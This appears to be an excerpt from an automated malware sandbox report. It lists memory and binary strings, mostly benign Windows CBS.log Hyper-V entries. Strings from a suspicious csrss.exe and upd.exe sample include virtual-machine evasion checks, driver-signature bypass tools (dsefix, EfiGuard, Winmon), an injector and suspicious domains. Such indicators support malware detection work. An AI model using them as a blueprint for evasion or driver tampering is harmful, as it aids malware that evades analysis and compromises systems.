Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 88e8c6b6d1631bfe1e6f3e0910f44c84, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: b86b0f63de3fd3d9f4c1defbc0a310e2, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V_base, Applicable: NeedsParent, Disposition: Staged
Source: svchost.exe, 0000001F.00000002.434018305.000002A1980EF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Package-base-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 71529a01421a29d3f726bde298b145c0, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: a20631c4cf6af783bb59c9a72c1b3c51, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe	Binary or memory string: T_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: upd.exe, csrss.exe	Binary or memory string: minal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)clo
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: eab40d924d8b5549872893de549370fa, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Core-Group-servercommon-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad RST markerbad allocCountbad record MACbad span statebad stack sizebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removedexit status -1file too largefinalizer waitgcstoptheworldgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedlookup TXT: %wmemprofilerateneed more datanil elem type!no module datano such deviceparse cert: %wprotocol errorread certs: %wreport_id is 0runtime: base=runtime: full=s.allocCount= semaRoot queueserver.versionstack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytimeEndPeriodtoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: detect Parent, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Parent: Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Disposition = Detect, VersionComp: EQ, BuildComp: EQ, RevisionComp: EQ, Exist: present
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 1a8a1b3524f6b9bff288f49da85c14f6, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: acceptactiveautumnbitterbreezebrokenchan<-cherryclosedcookiedivinedomaindwarf.efenceempty exec: expectfloralflowerforestfrostygopherhangupheaderhiddenip+netkilledlistenlittlelivelymeadowminutenumberobjectpopcntpurplereadatreasonremoverenamerun-v3rune1 sc.binscvg: secondsecureselectsendtoservershadowsilentsocketsocks socks5springstatusstringstructsummersunsetsweep telnetuint16uint32uint64unusedvioletvmhgfsvmxnetvpc-s3winterwup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> dying= flags= len=%d locks= m->g0= nmsys= s=nil
Source: csrss.exe	Binary or memory string: rayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC] morebuf={pc:accept-encodingaccept-lang
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Online-Services-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-All, new state: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Hypervisor, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 02124bd8d86f6990d0675e6c392d9200, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Hypervisor, Applicable: NeedsParent, Disposition: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseFloatPhoenicianProcessingPulseEventRST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8casgstatuscmd is nilcomplex128connectiondnsapi.dlldsefix.exedwarf.Attre.keff.orgexitThreadexp mastergetsockoptgoroutine http_proxyimage/jpegimage/webpinvalidptrkeep-alivemSpanInUseno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquireset-cookiesetsockoptsocks bindterminatedtracefree(tracegc()
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package HyperV-Compute-System-VirtualMachine-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcompaign_idcreated by crypt32.dlldnsmessage.e2.keff.orgembedded/%sfile existsfinal tokenfloat32nan2float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknamehttps_proxyi/o timeoutlocal errorlost mcachemSpanManualmethodargs(mswsock.dllnext servernil contextorannis.comparse errorprocess: %sraw-controlreflect.Setretry-afterruntime: P runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writetaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion=183wininet.dllwup_process (sensitive) [recovered] allocCount found at *( gcscandone m->gsignal= minTrigger= nDataRoots= nSpanRoots= pages/byte
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 762e99ca5a85803eb16880bf94ac8a17, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Installed, targeted: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: HyperV-Networking-Containers-Package, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:54, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 7c41348249711e2c2834f1d280a7daaa, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Offline-Core-Group-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 7af75ecf5d4e3ae499f64704cca67740 because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-PowerShell, new state: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 27a952ddb20b8a44c2d225c36c4b0274, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Package-base-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 8381c0f3cdb917a83d773f922f3b5250, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-servercommon-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 8c028159d1d14a93f99d8c89b6f63e99, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:54, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: cead152c266254f49dbb9b3d3e33f6ed, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-All, current State: Default, new state: Off, RemovePayload: 0
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-PowerShell, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 36f6d4975967228db5be330358a79c61, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 27a952ddb20b8a44c2d225c36c4b0274, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, current State: Default, new state: Off, RemovePayload: 0
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 374c9d21846cca7a5951fd26665cb73b, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: f161f1daec93b6f9633ae86b222e7d6b, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: upd.exe, csrss.exe	Binary or memory string: EndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*
Source: upd.exe, csrss.exe	Binary or memory string: llocStringLenToo Many RequestsTransfer-EncodingUnified_IdeographVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 9c32724c11c2062b0cd209906baed874, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 89b6e9bbb8d4e09208a54048cb490ab6, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Package-base-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V-Hypervisor, Intended State: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: m=] n=agedarchasn1avx2basebindbirdbluebmi1bmi2boldboolbushcallcap cas1cas2cas3cas4cas5cas6chancoldcooldampdarkdatadatedawndeaddialdustermsetagfailfilefirefrogfromftpsfuncgziphazehillholyhosthourhttpicmpidleigmpint8jpegjsonkindlakelateleaflinklongmoonnonenullopenpathpinepipepondpop3quitrainreadsbrkseeksid=smtpsnowsse2sse3starsurftag:tcp4tcp6texttreetruetypeudp6uintunixuuidvaryvmciwavewildwindwoodxn-- -%s ...
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:55, Info CBS Exec: Package: Microsoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients-62, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V-Services, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 350d2f419bdddcb6a98b096b17a5e4ec, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 1007f7901cdcdcd84e1638c6732a7565 because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Hypervisor, new state: Off
Source: csrss.exe	Binary or memory string: too many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero par
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, Applicable: NeedsParent, Disposition: Staged
Source: csrss.exe	Binary or memory string: ionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:asc
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 54471d62ed5a517374d13bdd02cd715e, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:54, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Services, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: b53b41e2e1c4409bda9e9a54b7b3b422, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 878b2f9862ce158a90aa7b5c871b772e because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 9778903714986ba7c2a01fb00bd42436, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 1007f7901cdcdcd84e1638c6732a7565, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients, current State: Default, new state: Off, RemovePayload: 0
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Core-Group-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 101afe1e2ee3fa31a2c2b78c5d9a5aaf, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V-Hypervisor, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:42, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V, Intended State: Staged
Source: upd.exe.0.dr	Binary or memory string: dvdyvmci
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: H_T= H_a= H_g= MB, W_a= and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s%d%s/%s%s:%d%s=%s%v-%v"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm.webp156253.2.2500015000250003500045000550006560015600278125:**@:path<nil>AdlamAprilAttr(BamumBatakBuhidCall CountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521PGDSERangeRealmRunicSTermTakriTamilTypeAUUID=\u202allowarraybad nblackbrookchdirclosecloudcsrssdreamemptyfalsefaultfieldfloatfrostgcinggladegrassgreenhttpsimap2imap3imapsint16int32int64matchmistymkdirmonthmuddynightntohspanicpaperparsepgdsepop3sproudquietrangeriverrmdirroughrouterune sdsetshapesleepslicesmallsmokesnowysockssoundsse41sse42ssse3stilltext/tls13tls: totaluint8usageuser=utf-8valuevmusbvmx86voicewaterwhitewispywriteyoung (MB)
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: HyperV-Compute-System-VirtualMachine-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Online-Services-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-Management-Clients, Intended State: Staged
Source: csrss.exe	Binary or memory string: main.isRunningInsideVMWare
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: entersyscallexit status found av: %sgcpacertracegetaddrinfowgot TI tokenguid_machinehost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wpointtopointproxyconnectreflect.Copyreleasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released
